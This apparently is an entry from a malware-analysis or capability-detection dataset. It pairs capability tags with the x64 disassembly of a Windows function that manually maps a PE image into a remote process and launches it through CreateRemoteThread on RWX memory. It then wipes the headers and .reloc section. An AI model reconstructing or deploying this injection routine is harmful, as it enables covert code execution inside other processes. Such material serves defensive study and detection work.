Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf]
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 1], rax
mov eax, 0x5a4d
mov rdi, rcx
cmp word [0x140008080], ax
jne 0x1400016b6
movsxd r14, dword [0x1400080bc]
lea r12, [0x140008080]
add r14, r12
mov eax, 0x8664
cmp word [r14 + 4], ax
jne 0x1400016b6
lea rcx, [0x1400054c0]
call fcn.140001010
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x140001122
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400054c0]
call fcn.140001010
jmp 0x1400016c2
xor r13d, r13d
lea rax, [rbp - 0xd]
mov dword [rbp - 0xd], r13d
mov rdx, r15
mov r8d, dword [r14 + 0x50]
mov rcx, rdi
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rsp + 0x50], rax
mov r8, r12
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov qword [rsp + 0x58], rax
mov rcx, rdi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x71], r13
mov qword [rbp - 0x69], 1
mov qword [rbp - 0x59], 1
mov qword [rbp - 0x79], r15
mov qword [rbp - 0x61], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400011d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400054c0]
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400016c2
movzx ebx, word [r14 + 0x14]
mov esi, r13d
add rbx, 0x2c
cmp word [r14 + 6], r13w
je 0x14000121f
add rbx, r14
mov eax, dword [rbx - 4]
test eax, eax
je 0x140001210
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400011a4
movzx eax, word [r14 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x1400011e8
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rdi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x1400011a4
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400012ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400054c0]
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400016c2
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov rsi, rax
test rax, rax
je 0x140001268
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
lea r8, [0x140001700]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001351
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400054c0]
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400016c2
mov rdx, r15
lea rcx, [0x1400054c0]
call fcn.140001010
mov rdx, r12
lea rcx, [0x1400054c0]
call fcn.140001010
mov rdx, rsi
lea rcx, [0x1400054c0]
call fcn.140001010
lea rcx, [0x1400054c0]
call fcn.140001010
mov qword [rsp + 0x30], r13
mov r9, rsi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400012f9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rsi
lea rcx, [0x1400054c0]
call fcn.140001010
nop dword [rax + rax]
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rbp - 0x11]
cmp edx, 0x103
jne 0x140001111
xorps xmm0, xmm0
mov qword [rsp + 0x20], r13
mov r9d, 0x40
lea r8, [rbp - 0x51]
mov rdx, r12
mov rcx, rdi
movups xmmword [rbp - 0x51], xmm0
movups xmmword [rbp - 0x41], xmm0
movups xmmword [rbp - 0x31], xmm0
movups xmmword [rbp - 0x21], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x31]
cmp rbx, 0x404040
je 0x1400016a5
cmp rbx, 0x505050
jne 0x140001444
lea rcx, [0x1400054c0]
call fcn.140001010
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400013d0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test rax, rax
je 0x1400016b6
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, r13
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014ad
lea rcx, [0x1400054c0]
call fcn.140001010
movzx ebx, word [r14 + 0x14]
xor esi, esi
movzx ecx, word [r14 + 6]
add rbx, 0x18
add rbx, r14
test cx, cx
je 0x140001592
lea rdx, [0x1400054c4]
lea r8, str..reloc
nop word [rax + rax]
cmp dword [rbx + 8], 0
je 0x14000157c
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140001505
cmp rcx, 6
jne 0x1400014f0
jmp 0x140001524
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000157c
cmp rcx, 7
jne 0x140001510
mov rdx, rbx
lea rcx, [0x1400054c0]
call fcn.140001010
mov edx, dword [rbx + 0xc]
mov r8, r13
mov r9d, dword [rbx + 8]
add rdx, r15
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000156e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
lea rcx, [0x1400054c0]
mov r8d, eax
call fcn.140001010
lea r8, str..reloc
lea rdx, [0x1400054c4]
movzx eax, word [r14 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x1400014e0
movzx ecx, ax
movzx ebx, word [r14 + 0x14]
xor esi, esi
add rbx, 0x18
add rbx, r14
test cx, cx
je 0x1400015f8
mov eax, dword [rbx + 8]
test eax, eax
je 0x1400015e9
mov edx, dword [rbx + 0xc]
mov r8d, eax
lea rax, [rbp - 0x11]
mov dword [rbp - 0x11], 0
add rdx, r15
mov qword [rsp + 0x20], rax
mov r9d, 0x100
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, 0x100
lea rcx, [0x1400054c0]
mov rdx, rbx
call fcn.140001010
movzx eax, word [r14 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x1400015a5
movzx eax, word [r14 + 0x14]
mov r9d, 0x100
mov dword [rbp - 9], 0
mov rdx, r15
mov rcx, rdi
mov r8d, dword [rax + r14 + 0x24]
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, qword [rsp + 0x48]
mov r9d, 0x1000
mov rdx, rbx
mov qword [rsp + 0x20], 0
mov r8, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001657
lea rcx, [0x1400054c0]
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14000167c
lea rcx, [0x1400054c0]
call fcn.140001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x1400016a1
lea rcx, [0x1400054c0]
call fcn.140001010
mov al, 1
jmp 0x1400016c4
lea rcx, [0x1400054c0]
call fcn.140001010
jmp 0x14000130d
lea rcx, [0x1400054c0]
call fcn.140001010
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.140003010
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret